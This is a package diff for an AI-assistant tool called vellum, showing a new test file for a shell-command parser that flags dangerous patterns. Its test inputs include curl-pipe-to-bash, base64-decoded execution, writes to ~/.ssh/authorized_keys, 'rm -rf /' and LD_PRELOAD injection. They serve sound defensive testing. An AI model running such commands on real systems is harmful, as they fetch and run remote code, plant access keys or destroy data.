vellum 0.2.13 → 0.2.14
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +32 -0
- package/bun.lock +2 -2
- package/docs/skills.md +4 -4
- package/package.json +2 -2
- package/src/__tests__/__snapshots__/ipc-snapshot.test.ts.snap +213 -3
- package/src/__tests__/app-git-history.test.ts +176 -0
- package/src/__tests__/app-git-service.test.ts +169 -0
- package/src/__tests__/assistant-events-sse-hardening.test.ts +315 -0
- package/src/__tests__/browser-skill-baseline-tool-payload.test.ts +8 -8
- package/src/__tests__/browser-skill-endstate.test.ts +6 -6
- package/src/__tests__/call-bridge.test.ts +105 -13
- package/src/__tests__/call-domain.test.ts +163 -0
- package/src/__tests__/call-orchestrator.test.ts +113 -0
- package/src/__tests__/call-routes-http.test.ts +246 -6
- package/src/__tests__/channel-approval-routes.test.ts +438 -0
- package/src/__tests__/channel-approval.test.ts +266 -0
- package/src/__tests__/channel-approvals.test.ts +393 -0
- package/src/__tests__/channel-delivery-store.test.ts +447 -0
- package/src/__tests__/checker.test.ts +607 -1048
- package/src/__tests__/cli.test.ts +1 -56
- package/src/__tests__/config-schema.test.ts +137 -18
- package/src/__tests__/conflict-intent-tokenization.test.ts +141 -0
- package/src/__tests__/conflict-policy.test.ts +121 -0
- package/src/__tests__/conflict-store.test.ts +2 -0
- package/src/__tests__/contacts-tools.test.ts +3 -3
- package/src/__tests__/contradiction-checker.test.ts +99 -1
- package/src/__tests__/credential-security-invariants.test.ts +22 -6
- package/src/__tests__/credential-vault-unit.test.ts +780 -0
- package/src/__tests__/elevenlabs-client.test.ts +62 -0
- package/src/__tests__/ephemeral-permissions.test.ts +73 -23
- package/src/__tests__/filesystem-tools.test.ts +579 -0
- package/src/__tests__/gateway-only-enforcement.test.ts +114 -4
- package/src/__tests__/handlers-add-trust-rule-metadata.test.ts +202 -0
- package/src/__tests__/handlers-cu-observation-blob.test.ts +2 -1
- package/src/__tests__/handlers-ipc-blob-probe.test.ts +2 -1
- package/src/__tests__/handlers-slack-config.test.ts +2 -1
- package/src/__tests__/handlers-telegram-config.test.ts +855 -0
- package/src/__tests__/handlers-twitter-config.test.ts +141 -1
- package/src/__tests__/hooks-runner.test.ts +6 -2
- package/src/__tests__/host-file-edit-tool.test.ts +124 -0
- package/src/__tests__/host-file-read-tool.test.ts +62 -0
- package/src/__tests__/host-file-write-tool.test.ts +59 -0
- package/src/__tests__/host-shell-tool.test.ts +251 -0
- package/src/__tests__/ingress-reconcile.test.ts +581 -0
- package/src/__tests__/ipc-snapshot.test.ts +100 -41
- package/src/__tests__/ipc-validate.test.ts +50 -0
- package/src/__tests__/key-migration.test.ts +23 -0
- package/src/__tests__/memory-regressions.test.ts +99 -0
- package/src/__tests__/memory-retrieval.benchmark.test.ts +1 -1
- package/src/__tests__/oauth-callback-registry.test.ts +11 -4
- package/src/__tests__/playbook-execution.test.ts +502 -0
- package/src/__tests__/playbook-tools.test.ts +4 -6
- package/src/__tests__/public-ingress-urls.test.ts +34 -0
- package/src/__tests__/qdrant-manager.test.ts +267 -0
- package/src/__tests__/recurrence-engine-rruleset.test.ts +97 -0
- package/src/__tests__/recurrence-engine.test.ts +9 -0
- package/src/__tests__/recurrence-types.test.ts +8 -0
- package/src/__tests__/registry.test.ts +1 -1
- package/src/__tests__/runtime-runs.test.ts +1 -25
- package/src/__tests__/schedule-store.test.ts +16 -14
- package/src/__tests__/schedule-tools.test.ts +83 -0
- package/src/__tests__/scheduler-recurrence.test.ts +111 -10
- package/src/__tests__/secret-allowlist.test.ts +18 -17
- package/src/__tests__/secret-ingress-handler.test.ts +11 -0
- package/src/__tests__/secret-scanner.test.ts +43 -0
- package/src/__tests__/session-conflict-gate.test.ts +442 -6
- package/src/__tests__/session-init.benchmark.test.ts +3 -0
- package/src/__tests__/session-process-bridge.test.ts +242 -0
- package/src/__tests__/session-skill-tools.test.ts +1 -1
- package/src/__tests__/shell-identity.test.ts +256 -0
- package/src/__tests__/skill-projection.benchmark.test.ts +11 -1
- package/src/__tests__/subagent-tools.test.ts +637 -54
- package/src/__tests__/task-management-tools.test.ts +936 -0
- package/src/__tests__/task-runner.test.ts +2 -2
- package/src/__tests__/terminal-tools.test.ts +840 -0
- package/src/__tests__/tool-executor-shell-integration.test.ts +301 -0
- package/src/__tests__/tool-executor.test.ts +85 -151
- package/src/__tests__/tool-permission-simulate-handler.test.ts +336 -0
- package/src/__tests__/trust-store.test.ts +27 -453
- package/src/__tests__/twilio-provider.test.ts +153 -3
- package/src/__tests__/twilio-routes-elevenlabs.test.ts +375 -0
- package/src/__tests__/twilio-routes-twiml.test.ts +4 -4
- package/src/__tests__/twilio-routes.test.ts +17 -262
- package/src/__tests__/twitter-auth-handler.test.ts +2 -1
- package/src/__tests__/twitter-cli-error-shaping.test.ts +208 -0
- package/src/__tests__/twitter-cli-routing.test.ts +252 -0
- package/src/__tests__/twitter-oauth-client.test.ts +209 -0
- package/src/__tests__/workspace-policy.test.ts +213 -0
- package/src/calls/call-bridge.ts +92 -19
- package/src/calls/call-domain.ts +157 -5
- package/src/calls/call-orchestrator.ts +93 -7
- package/src/calls/call-store.ts +6 -0
- package/src/calls/elevenlabs-client.ts +8 -0
- package/src/calls/elevenlabs-config.ts +7 -5
- package/src/calls/twilio-provider.ts +91 -0
- package/src/calls/twilio-routes.ts +32 -37
- package/src/calls/types.ts +3 -1
- package/src/calls/voice-quality.ts +29 -7
- package/src/cli/twitter.ts +200 -21
- package/src/cli.ts +1 -20
- package/src/config/bundled-skills/contacts/tools/contact-merge.ts +52 -4
- package/src/config/bundled-skills/contacts/tools/contact-search.ts +55 -4
- package/src/config/bundled-skills/contacts/tools/contact-upsert.ts +61 -4
- package/src/config/bundled-skills/messaging/SKILL.md +17 -2
- package/src/config/bundled-skills/messaging/tools/messaging-reply.ts +4 -1
- package/src/config/bundled-skills/messaging/tools/messaging-send.ts +5 -1
- package/src/config/bundled-skills/messaging/tools/shared.ts +5 -0
- package/src/config/bundled-skills/phone-calls/SKILL.md +142 -34
- package/src/config/bundled-skills/playbooks/tools/playbook-create.ts +95 -6
- package/src/config/bundled-skills/playbooks/tools/playbook-delete.ts +51 -6
- package/src/config/bundled-skills/playbooks/tools/playbook-list.ts +73 -6
- package/src/config/bundled-skills/playbooks/tools/playbook-update.ts +110 -6
- package/src/config/bundled-skills/public-ingress/SKILL.md +22 -5
- package/src/config/bundled-skills/twitter/SKILL.md +103 -17
- package/src/config/defaults.ts +10 -4
- package/src/config/schema.ts +80 -21
- package/src/config/types.ts +1 -0
- package/src/config/vellum-skills/telegram-setup/SKILL.md +56 -61
- package/src/daemon/assistant-attachments.ts +4 -2
- package/src/daemon/handlers/apps.ts +69 -0
- package/src/daemon/handlers/config.ts +543 -24
- package/src/daemon/handlers/index.ts +1 -0
- package/src/daemon/handlers/sessions.ts +22 -6
- package/src/daemon/handlers/shared.ts +2 -1
- package/src/daemon/handlers/skills.ts +5 -20
- package/src/daemon/ipc-contract-inventory.json +28 -0
- package/src/daemon/ipc-contract.ts +168 -10
- package/src/daemon/ipc-validate.ts +17 -0
- package/src/daemon/lifecycle.ts +2 -0
- package/src/daemon/server.ts +78 -72
- package/src/daemon/session-attachments.ts +1 -1
- package/src/daemon/session-conflict-gate.ts +62 -6
- package/src/daemon/session-notifiers.ts +1 -1
- package/src/daemon/session-process.ts +62 -3
- package/src/daemon/session-tool-setup.ts +1 -2
- package/src/daemon/tls-certs.ts +189 -0
- package/src/daemon/video-thumbnail.ts +5 -3
- package/src/hooks/manager.ts +5 -9
- package/src/memory/app-git-service.ts +295 -0
- package/src/memory/app-store.ts +21 -0
- package/src/memory/conflict-intent.ts +47 -4
- package/src/memory/conflict-policy.ts +73 -0
- package/src/memory/conflict-store.ts +9 -1
- package/src/memory/contradiction-checker.ts +28 -0
- package/src/memory/conversation-key-store.ts +15 -0
- package/src/memory/db.ts +81 -0
- package/src/memory/embedding-local.ts +3 -13
- package/src/memory/external-conversation-store.ts +234 -0
- package/src/memory/job-handlers/conflict.ts +22 -2
- package/src/memory/jobs-worker.ts +67 -28
- package/src/memory/runs-store.ts +54 -7
- package/src/memory/schema.ts +20 -0
- package/src/messaging/provider.ts +9 -0
- package/src/messaging/providers/telegram-bot/adapter.ts +162 -0
- package/src/messaging/providers/telegram-bot/client.ts +104 -0
- package/src/messaging/providers/telegram-bot/types.ts +15 -0
- package/src/messaging/registry.ts +1 -0
- package/src/permissions/checker.ts +48 -44
- package/src/permissions/prompter.ts +0 -4
- package/src/permissions/shell-identity.ts +227 -0
- package/src/permissions/trust-store.ts +76 -53
- package/src/permissions/types.ts +0 -19
- package/src/permissions/workspace-policy.ts +114 -0
- package/src/providers/retry.ts +12 -37
- package/src/runtime/assistant-event-hub.ts +41 -4
- package/src/runtime/channel-approval-parser.ts +60 -0
- package/src/runtime/channel-approval-types.ts +71 -0
- package/src/runtime/channel-approvals.ts +145 -0
- package/src/runtime/gateway-client.ts +16 -0
- package/src/runtime/http-server.ts +29 -9
- package/src/runtime/routes/call-routes.ts +52 -2
- package/src/runtime/routes/channel-routes.ts +296 -16
- package/src/runtime/routes/events-routes.ts +97 -28
- package/src/runtime/routes/run-routes.ts +2 -7
- package/src/runtime/run-orchestrator.ts +0 -3
- package/src/schedule/recurrence-engine.ts +26 -2
- package/src/schedule/recurrence-types.ts +1 -1
- package/src/schedule/schedule-store.ts +12 -3
- package/src/security/secret-scanner.ts +7 -0
- package/src/tasks/ephemeral-permissions.ts +0 -2
- package/src/tasks/task-scheduler.ts +2 -1
- package/src/tools/calls/call-start.ts +8 -0
- package/src/tools/execution-target.ts +21 -0
- package/src/tools/execution-timeout.ts +49 -0
- package/src/tools/executor.ts +6 -135
- package/src/tools/network/web-search.ts +9 -32
- package/src/tools/policy-context.ts +29 -0
- package/src/tools/schedule/update.ts +8 -1
- package/src/tools/terminal/parser.ts +16 -18
- package/src/tools/types.ts +4 -11
- package/src/twitter/oauth-client.ts +102 -0
- package/src/twitter/router.ts +101 -0
- package/src/util/debounce.ts +88 -0
- package/src/util/network-info.ts +47 -0
- package/src/util/platform.ts +29 -4
- package/src/util/promise-guard.ts +37 -0
- package/src/util/retry.ts +98 -0
- package/src/util/truncate.ts +1 -1
- package/src/workspace/git-service.ts +129 -112
- package/src/tools/contacts/contact-merge.ts +0 -55
- package/src/tools/contacts/contact-search.ts +0 -58
- package/src/tools/contacts/contact-upsert.ts +0 -64
- package/src/tools/playbooks/index.ts +0 -4
- package/src/tools/playbooks/playbook-create.ts +0 -96
- package/src/tools/playbooks/playbook-delete.ts +0 -52
- package/src/tools/playbooks/playbook-list.ts +0 -74
- package/src/tools/playbooks/playbook-update.ts +0 -111
|
@@ -0,0 +1,840 @@
|
|
|
1
|
+
/* eslint-disable @typescript-eslint/no-explicit-any */
|
|
2
|
+
import { describe, test, expect, beforeEach, afterEach, mock } from 'bun:test';
|
|
3
|
+
import { mkdtempSync, mkdirSync, rmSync, symlinkSync } from 'node:fs';
|
|
4
|
+
import { tmpdir } from 'node:os';
|
|
5
|
+
import { join } from 'node:path';
|
|
6
|
+
|
|
7
|
+
// ── Mock modules ────────────────────────────────────────────────────────────
|
|
8
|
+
|
|
9
|
+
mock.module('../util/logger.js', () => ({
|
|
10
|
+
getLogger: () => new Proxy({} as Record<string, unknown>, {
|
|
11
|
+
get: (_target: Record<string, unknown>, _prop: string) => () => {},
|
|
12
|
+
}),
|
|
13
|
+
}));
|
|
14
|
+
|
|
15
|
+
const testTmpDir = mkdtempSync(join(tmpdir(), 'terminal-test-'));
|
|
16
|
+
|
|
17
|
+
mock.module('../util/platform.js', () => ({
|
|
18
|
+
getRootDir: () => testTmpDir,
|
|
19
|
+
getDataDir: () => join(testTmpDir, 'data'),
|
|
20
|
+
getSandboxWorkingDir: () => join(testTmpDir, 'sandbox'),
|
|
21
|
+
isMacOS: () => process.platform === 'darwin',
|
|
22
|
+
isLinux: () => process.platform === 'linux',
|
|
23
|
+
isWindows: () => process.platform === 'win32',
|
|
24
|
+
getSocketPath: () => join(testTmpDir, 'test.sock'),
|
|
25
|
+
getPidPath: () => join(testTmpDir, 'test.pid'),
|
|
26
|
+
getDbPath: () => join(testTmpDir, 'test.db'),
|
|
27
|
+
getLogPath: () => join(testTmpDir, 'test.log'),
|
|
28
|
+
ensureDataDir: () => {},
|
|
29
|
+
}));
|
|
30
|
+
|
|
31
|
+
mock.module('../config/loader.js', () => ({
|
|
32
|
+
getConfig: () => ({
|
|
33
|
+
timeouts: { shellDefaultTimeoutSec: 120, shellMaxTimeoutSec: 600 },
|
|
34
|
+
sandbox: {
|
|
35
|
+
enabled: false,
|
|
36
|
+
backend: 'native',
|
|
37
|
+
docker: {
|
|
38
|
+
image: 'vellum-sandbox:latest',
|
|
39
|
+
shell: 'bash',
|
|
40
|
+
cpus: 1,
|
|
41
|
+
memoryMb: 512,
|
|
42
|
+
pidsLimit: 256,
|
|
43
|
+
network: 'none',
|
|
44
|
+
},
|
|
45
|
+
},
|
|
46
|
+
}),
|
|
47
|
+
loadConfig: () => ({}),
|
|
48
|
+
}));
|
|
49
|
+
|
|
50
|
+
const proxyGetOrStartSession = mock(() => Promise.resolve({
|
|
51
|
+
session: { id: 'mock-session' },
|
|
52
|
+
}));
|
|
53
|
+
const proxyGetSessionEnv = mock(() => ({
|
|
54
|
+
HTTP_PROXY: 'http://localhost:9999',
|
|
55
|
+
HTTPS_PROXY: 'http://localhost:9999',
|
|
56
|
+
}));
|
|
57
|
+
|
|
58
|
+
mock.module('../tools/network/script-proxy/index.js', () => ({
|
|
59
|
+
getOrStartSession: proxyGetOrStartSession,
|
|
60
|
+
getSessionEnv: proxyGetSessionEnv,
|
|
61
|
+
createSession: () => {},
|
|
62
|
+
startSession: () => {},
|
|
63
|
+
stopSession: () => {},
|
|
64
|
+
getActiveSession: () => null,
|
|
65
|
+
getSessionsForConversation: () => [],
|
|
66
|
+
stopAllSessions: () => {},
|
|
67
|
+
ensureLocalCA: () => {},
|
|
68
|
+
ensureCombinedCABundle: () => {},
|
|
69
|
+
issueLeafCert: () => {},
|
|
70
|
+
getCAPath: () => '',
|
|
71
|
+
getCombinedCAPath: () => '',
|
|
72
|
+
}));
|
|
73
|
+
|
|
74
|
+
// ── Imports (after mocks) ───────────────────────────────────────────────────
|
|
75
|
+
|
|
76
|
+
import { parse } from '../tools/terminal/parser.js';
|
|
77
|
+
import { buildSanitizedEnv } from '../tools/terminal/safe-env.js';
|
|
78
|
+
import { wrapCommand } from '../tools/terminal/sandbox.js';
|
|
79
|
+
import type { SandboxConfig } from '../config/schema.js';
|
|
80
|
+
import { ToolError } from '../util/errors.js';
|
|
81
|
+
|
|
82
|
+
// ═══════════════════════════════════════════════════════════════════════════
|
|
83
|
+
// 1. Shell Parser — parse()
|
|
84
|
+
// ═══════════════════════════════════════════════════════════════════════════
|
|
85
|
+
|
|
86
|
+
describe('Shell parser', () => {
|
|
87
|
+
|
|
88
|
+
// ── Basic segment extraction ──────────────────────────────────────────
|
|
89
|
+
|
|
90
|
+
describe('segment extraction', () => {
|
|
91
|
+
test('simple command', async () => {
|
|
92
|
+
const result = await parse('ls -la');
|
|
93
|
+
expect(result.segments.length).toBe(1);
|
|
94
|
+
expect(result.segments[0].program).toBe('ls');
|
|
95
|
+
expect(result.segments[0].args).toContain('-la');
|
|
96
|
+
expect(result.segments[0].operator).toBe('');
|
|
97
|
+
});
|
|
98
|
+
|
|
99
|
+
test('command with multiple arguments', async () => {
|
|
100
|
+
const result = await parse('git commit -m "initial commit"');
|
|
101
|
+
expect(result.segments.length).toBe(1);
|
|
102
|
+
expect(result.segments[0].program).toBe('git');
|
|
103
|
+
expect(result.segments[0].args).toContain('commit');
|
|
104
|
+
expect(result.segments[0].args).toContain('-m');
|
|
105
|
+
});
|
|
106
|
+
|
|
107
|
+
test('compound command with &&', async () => {
|
|
108
|
+
const result = await parse('mkdir foo && cd foo');
|
|
109
|
+
expect(result.segments.length).toBe(2);
|
|
110
|
+
expect(result.segments[0].program).toBe('mkdir');
|
|
111
|
+
expect(result.segments[0].operator).toBe('');
|
|
112
|
+
expect(result.segments[1].program).toBe('cd');
|
|
113
|
+
expect(result.segments[1].operator).toBe('&&');
|
|
114
|
+
});
|
|
115
|
+
|
|
116
|
+
test('compound command with ||', async () => {
|
|
117
|
+
const result = await parse('test -f foo || echo missing');
|
|
118
|
+
expect(result.segments.length).toBe(2);
|
|
119
|
+
expect(result.segments[1].operator).toBe('||');
|
|
120
|
+
expect(result.segments[1].program).toBe('echo');
|
|
121
|
+
});
|
|
122
|
+
|
|
123
|
+
test('compound command with semicolons', async () => {
|
|
124
|
+
const result = await parse('echo a; echo b; echo c');
|
|
125
|
+
expect(result.segments.length).toBe(3);
|
|
126
|
+
// tree-sitter parses semicolons as list separators; the parser resets
|
|
127
|
+
// operator to '' after each child, so the second/third segments may
|
|
128
|
+
// carry ';' or '' depending on the tree-sitter-bash grammar version.
|
|
129
|
+
// The key invariant is that we get 3 segments.
|
|
130
|
+
const programs = result.segments.map(s => s.program);
|
|
131
|
+
expect(programs).toEqual(['echo', 'echo', 'echo']);
|
|
132
|
+
});
|
|
133
|
+
|
|
134
|
+
test('pipeline', async () => {
|
|
135
|
+
const result = await parse('cat file.txt | grep pattern | wc -l');
|
|
136
|
+
expect(result.segments.length).toBe(3);
|
|
137
|
+
expect(result.segments[0].program).toBe('cat');
|
|
138
|
+
expect(result.segments[0].operator).toBe('');
|
|
139
|
+
expect(result.segments[1].program).toBe('grep');
|
|
140
|
+
expect(result.segments[1].operator).toBe('|');
|
|
141
|
+
expect(result.segments[2].program).toBe('wc');
|
|
142
|
+
expect(result.segments[2].operator).toBe('|');
|
|
143
|
+
});
|
|
144
|
+
|
|
145
|
+
test('pipeline combined with &&', async () => {
|
|
146
|
+
const result = await parse('ls | wc -l && echo done');
|
|
147
|
+
expect(result.segments.length).toBe(3);
|
|
148
|
+
expect(result.segments[0].operator).toBe('');
|
|
149
|
+
expect(result.segments[1].operator).toBe('|');
|
|
150
|
+
expect(result.segments[2].operator).toBe('&&');
|
|
151
|
+
});
|
|
152
|
+
|
|
153
|
+
test('redirected statement extracts command from inside', async () => {
|
|
154
|
+
const result = await parse('echo hello > output.txt');
|
|
155
|
+
expect(result.segments.length).toBe(1);
|
|
156
|
+
expect(result.segments[0].program).toBe('echo');
|
|
157
|
+
});
|
|
158
|
+
|
|
159
|
+
test('subshell extracts inner commands', async () => {
|
|
160
|
+
const result = await parse('(echo hello && echo world)');
|
|
161
|
+
expect(result.segments.length).toBe(2);
|
|
162
|
+
expect(result.segments[0].program).toBe('echo');
|
|
163
|
+
expect(result.segments[1].program).toBe('echo');
|
|
164
|
+
});
|
|
165
|
+
|
|
166
|
+
test('empty command produces no segments', async () => {
|
|
167
|
+
const result = await parse('');
|
|
168
|
+
expect(result.segments.length).toBe(0);
|
|
169
|
+
});
|
|
170
|
+
|
|
171
|
+
test('for loop extracts body commands', async () => {
|
|
172
|
+
const result = await parse('for i in a b c; do echo $i; done');
|
|
173
|
+
expect(result.segments.length).toBeGreaterThanOrEqual(1);
|
|
174
|
+
const programs = result.segments.map(s => s.program);
|
|
175
|
+
expect(programs).toContain('echo');
|
|
176
|
+
});
|
|
177
|
+
|
|
178
|
+
test('if statement extracts body commands', async () => {
|
|
179
|
+
const result = await parse('if true; then echo yes; fi');
|
|
180
|
+
expect(result.segments.length).toBeGreaterThanOrEqual(1);
|
|
181
|
+
const programs = result.segments.map(s => s.program);
|
|
182
|
+
expect(programs).toContain('echo');
|
|
183
|
+
});
|
|
184
|
+
|
|
185
|
+
test('command with string arguments', async () => {
|
|
186
|
+
const result = await parse("echo 'single quoted' \"double quoted\"");
|
|
187
|
+
expect(result.segments.length).toBe(1);
|
|
188
|
+
expect(result.segments[0].program).toBe('echo');
|
|
189
|
+
});
|
|
190
|
+
});
|
|
191
|
+
|
|
192
|
+
// ── Dangerous pattern detection ───────────────────────────────────────
|
|
193
|
+
|
|
194
|
+
describe('dangerous patterns', () => {
|
|
195
|
+
test('pipe to bash detected', async () => {
|
|
196
|
+
const result = await parse('curl http://example.com | bash');
|
|
197
|
+
expect(result.dangerousPatterns.length).toBeGreaterThanOrEqual(1);
|
|
198
|
+
const types = result.dangerousPatterns.map(p => p.type);
|
|
199
|
+
expect(types).toContain('pipe_to_shell');
|
|
200
|
+
});
|
|
201
|
+
|
|
202
|
+
test('pipe to sh detected', async () => {
|
|
203
|
+
const result = await parse('cat script.sh | sh');
|
|
204
|
+
const types = result.dangerousPatterns.map(p => p.type);
|
|
205
|
+
expect(types).toContain('pipe_to_shell');
|
|
206
|
+
});
|
|
207
|
+
|
|
208
|
+
test('pipe to zsh detected', async () => {
|
|
209
|
+
const result = await parse('echo "code" | zsh');
|
|
210
|
+
const types = result.dangerousPatterns.map(p => p.type);
|
|
211
|
+
expect(types).toContain('pipe_to_shell');
|
|
212
|
+
});
|
|
213
|
+
|
|
214
|
+
test('pipe to eval detected', async () => {
|
|
215
|
+
const result = await parse('echo "echo hi" | eval');
|
|
216
|
+
const types = result.dangerousPatterns.map(p => p.type);
|
|
217
|
+
expect(types).toContain('pipe_to_shell');
|
|
218
|
+
});
|
|
219
|
+
|
|
220
|
+
test('pipe to xargs detected', async () => {
|
|
221
|
+
const result = await parse('find . -name "*.tmp" | xargs rm');
|
|
222
|
+
const types = result.dangerousPatterns.map(p => p.type);
|
|
223
|
+
expect(types).toContain('pipe_to_shell');
|
|
224
|
+
});
|
|
225
|
+
|
|
226
|
+
test('pipe to grep is not flagged as pipe_to_shell', async () => {
|
|
227
|
+
const result = await parse('cat file | grep pattern');
|
|
228
|
+
const pipeToShell = result.dangerousPatterns.filter(p => p.type === 'pipe_to_shell');
|
|
229
|
+
expect(pipeToShell.length).toBe(0);
|
|
230
|
+
});
|
|
231
|
+
|
|
232
|
+
test('base64 decode piped to bash detected', async () => {
|
|
233
|
+
const result = await parse('echo payload | base64 -d | bash');
|
|
234
|
+
const types = result.dangerousPatterns.map(p => p.type);
|
|
235
|
+
expect(types).toContain('base64_execute');
|
|
236
|
+
});
|
|
237
|
+
|
|
238
|
+
test('redirect to sensitive path ~/.ssh/ detected', async () => {
|
|
239
|
+
const result = await parse('echo key > ~/.ssh/authorized_keys');
|
|
240
|
+
const types = result.dangerousPatterns.map(p => p.type);
|
|
241
|
+
expect(types).toContain('sensitive_redirect');
|
|
242
|
+
});
|
|
243
|
+
|
|
244
|
+
test('redirect to sensitive path ~/.bashrc detected', async () => {
|
|
245
|
+
const result = await parse('echo "export FOO=bar" >> ~/.bashrc');
|
|
246
|
+
const types = result.dangerousPatterns.map(p => p.type);
|
|
247
|
+
expect(types).toContain('sensitive_redirect');
|
|
248
|
+
});
|
|
249
|
+
|
|
250
|
+
test('redirect to /etc/ detected', async () => {
|
|
251
|
+
const result = await parse('echo "nameserver 8.8.8.8" > /etc/resolv.conf');
|
|
252
|
+
const types = result.dangerousPatterns.map(p => p.type);
|
|
253
|
+
expect(types).toContain('sensitive_redirect');
|
|
254
|
+
});
|
|
255
|
+
|
|
256
|
+
test('redirect to normal path is not flagged', async () => {
|
|
257
|
+
const result = await parse('echo hello > /tmp/output.txt');
|
|
258
|
+
const sensitive = result.dangerousPatterns.filter(p => p.type === 'sensitive_redirect');
|
|
259
|
+
expect(sensitive.length).toBe(0);
|
|
260
|
+
});
|
|
261
|
+
|
|
262
|
+
test('command substitution as argument to rm detected', async () => {
|
|
263
|
+
const result = await parse('rm $(find . -name "*.tmp")');
|
|
264
|
+
const types = result.dangerousPatterns.map(p => p.type);
|
|
265
|
+
expect(types).toContain('dangerous_substitution');
|
|
266
|
+
});
|
|
267
|
+
|
|
268
|
+
test('command substitution as argument to chmod detected', async () => {
|
|
269
|
+
const result = await parse('chmod $(cat perms) file');
|
|
270
|
+
const types = result.dangerousPatterns.map(p => p.type);
|
|
271
|
+
expect(types).toContain('dangerous_substitution');
|
|
272
|
+
});
|
|
273
|
+
|
|
274
|
+
test('assignment to PATH detected as env_injection', async () => {
|
|
275
|
+
const result = await parse('PATH=/evil:$PATH ls');
|
|
276
|
+
const types = result.dangerousPatterns.map(p => p.type);
|
|
277
|
+
expect(types).toContain('env_injection');
|
|
278
|
+
});
|
|
279
|
+
|
|
280
|
+
test('assignment to LD_PRELOAD detected as env_injection', async () => {
|
|
281
|
+
const result = await parse('LD_PRELOAD=/evil/lib.so cmd');
|
|
282
|
+
const types = result.dangerousPatterns.map(p => p.type);
|
|
283
|
+
expect(types).toContain('env_injection');
|
|
284
|
+
});
|
|
285
|
+
|
|
286
|
+
test('assignment to NODE_OPTIONS detected as env_injection', async () => {
|
|
287
|
+
const result = await parse('NODE_OPTIONS="--require=evil" node');
|
|
288
|
+
const types = result.dangerousPatterns.map(p => p.type);
|
|
289
|
+
expect(types).toContain('env_injection');
|
|
290
|
+
});
|
|
291
|
+
|
|
292
|
+
test('assignment to harmless variable is not flagged', async () => {
|
|
293
|
+
const result = await parse('FOO=bar echo hello');
|
|
294
|
+
const envInjection = result.dangerousPatterns.filter(p => p.type === 'env_injection');
|
|
295
|
+
expect(envInjection.length).toBe(0);
|
|
296
|
+
});
|
|
297
|
+
|
|
298
|
+
test('process substitution detected', async () => {
|
|
299
|
+
const result = await parse('diff <(sort a.txt) <(sort b.txt)');
|
|
300
|
+
const types = result.dangerousPatterns.map(p => p.type);
|
|
301
|
+
expect(types).toContain('process_substitution');
|
|
302
|
+
});
|
|
303
|
+
});
|
|
304
|
+
|
|
305
|
+
// ── Opaque construct detection ────────────────────────────────────────
|
|
306
|
+
|
|
307
|
+
describe('opaque constructs', () => {
|
|
308
|
+
test('eval is opaque', async () => {
|
|
309
|
+
const result = await parse('eval "echo hello"');
|
|
310
|
+
expect(result.hasOpaqueConstructs).toBe(true);
|
|
311
|
+
});
|
|
312
|
+
|
|
313
|
+
test('source is opaque', async () => {
|
|
314
|
+
const result = await parse('source ~/.bashrc');
|
|
315
|
+
expect(result.hasOpaqueConstructs).toBe(true);
|
|
316
|
+
});
|
|
317
|
+
|
|
318
|
+
test('dot-source is opaque', async () => {
|
|
319
|
+
const result = await parse('. ~/.profile');
|
|
320
|
+
expect(result.hasOpaqueConstructs).toBe(true);
|
|
321
|
+
});
|
|
322
|
+
|
|
323
|
+
test('bash -c is opaque', async () => {
|
|
324
|
+
const result = await parse('bash -c "echo hello"');
|
|
325
|
+
expect(result.hasOpaqueConstructs).toBe(true);
|
|
326
|
+
});
|
|
327
|
+
|
|
328
|
+
test('sh -c is opaque', async () => {
|
|
329
|
+
const result = await parse('sh -c "rm -rf /"');
|
|
330
|
+
expect(result.hasOpaqueConstructs).toBe(true);
|
|
331
|
+
});
|
|
332
|
+
|
|
333
|
+
test('zsh -c is opaque', async () => {
|
|
334
|
+
const result = await parse('zsh -c "echo hi"');
|
|
335
|
+
expect(result.hasOpaqueConstructs).toBe(true);
|
|
336
|
+
});
|
|
337
|
+
|
|
338
|
+
test('bash -ec is opaque', async () => {
|
|
339
|
+
const result = await parse('bash -ec "echo careful"');
|
|
340
|
+
expect(result.hasOpaqueConstructs).toBe(true);
|
|
341
|
+
});
|
|
342
|
+
|
|
343
|
+
test('heredoc is opaque', async () => {
|
|
344
|
+
const result = await parse('cat <<EOF\nhello world\nEOF');
|
|
345
|
+
expect(result.hasOpaqueConstructs).toBe(true);
|
|
346
|
+
});
|
|
347
|
+
|
|
348
|
+
test('variable expansion as command is opaque', async () => {
|
|
349
|
+
const result = await parse('$CMD arg1 arg2');
|
|
350
|
+
expect(result.hasOpaqueConstructs).toBe(true);
|
|
351
|
+
});
|
|
352
|
+
|
|
353
|
+
test('command substitution as command is opaque', async () => {
|
|
354
|
+
const result = await parse('$(get_cmd) arg1 arg2');
|
|
355
|
+
expect(result.hasOpaqueConstructs).toBe(true);
|
|
356
|
+
});
|
|
357
|
+
|
|
358
|
+
test('simple command is not opaque', async () => {
|
|
359
|
+
const result = await parse('ls -la /tmp');
|
|
360
|
+
expect(result.hasOpaqueConstructs).toBe(false);
|
|
361
|
+
});
|
|
362
|
+
|
|
363
|
+
test('pipeline of safe commands is not opaque', async () => {
|
|
364
|
+
const result = await parse('cat file | grep pattern | wc -l');
|
|
365
|
+
expect(result.hasOpaqueConstructs).toBe(false);
|
|
366
|
+
});
|
|
367
|
+
|
|
368
|
+
test('compound safe commands are not opaque', async () => {
|
|
369
|
+
const result = await parse('mkdir foo && cd foo && touch bar');
|
|
370
|
+
expect(result.hasOpaqueConstructs).toBe(false);
|
|
371
|
+
});
|
|
372
|
+
});
|
|
373
|
+
});
|
|
374
|
+
|
|
375
|
+
// ═══════════════════════════════════════════════════════════════════════════
|
|
376
|
+
// 2. Safe Environment — buildSanitizedEnv()
|
|
377
|
+
// ═══════════════════════════════════════════════════════════════════════════
|
|
378
|
+
|
|
379
|
+
describe('buildSanitizedEnv', () => {
|
|
380
|
+
const originalEnv = { ...process.env };
|
|
381
|
+
|
|
382
|
+
afterEach(() => {
|
|
383
|
+
// Restore env
|
|
384
|
+
for (const key of Object.keys(process.env)) {
|
|
385
|
+
if (!(key in originalEnv)) {
|
|
386
|
+
delete process.env[key];
|
|
387
|
+
}
|
|
388
|
+
}
|
|
389
|
+
Object.assign(process.env, originalEnv);
|
|
390
|
+
});
|
|
391
|
+
|
|
392
|
+
test('passes through safe variables when present', () => {
|
|
393
|
+
process.env.HOME = '/home/testuser';
|
|
394
|
+
process.env.PATH = '/usr/bin';
|
|
395
|
+
process.env.TERM = 'xterm-256color';
|
|
396
|
+
|
|
397
|
+
const env = buildSanitizedEnv();
|
|
398
|
+
expect(env.HOME).toBe('/home/testuser');
|
|
399
|
+
